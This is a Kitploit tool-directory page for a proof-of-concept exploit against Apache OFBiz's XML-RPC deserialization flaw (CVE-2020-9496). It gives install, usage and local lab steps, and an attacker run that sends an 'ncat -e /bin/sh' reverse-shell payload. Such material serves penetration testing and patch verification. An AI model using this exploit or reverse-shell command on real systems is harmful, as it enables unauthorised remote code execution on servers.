Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-9496 — XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17.12.03 | Kitploit
Tools/GitHubGitHub/ambalabanov/cve-2020-9496
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubambalabanov/cve-2020-9496

CVE-2020-9496

XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17.12.03

View Repository
1205 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-9496

XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17.12.03

Install requirements

root@kitploit:~
$ pip install -r requirements.txt
$ wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial.jar

Usage

root@kitploit:~
$ python cve-2020-9496.py --target [URL]

Test

victim

root@kitploit:~
$ git clone https://gitbox.apache.org/repos/asf/ofbiz-framework.git ofbiz-framework
$ cd ofbiz-framework/
$ git checkout release17.12.01
$ sed -i 's/gradle-3.2.1-bin.zip/gradle-6.0-bin.zip/g' gradle/wrapper/gradle-wrapper.properties
$ sudo ./gradlew ofbiz

attacker

root@kitploit:~
$ python cve-2020-9496.py --target https://127.0.0.1:8443
cmd> ncat -e /bin/sh 127.0.0.1 8888
[!] Send payload ...
[+] Done!

PoC PoC

Thanks to: https://github.com/g33xter

Download Tool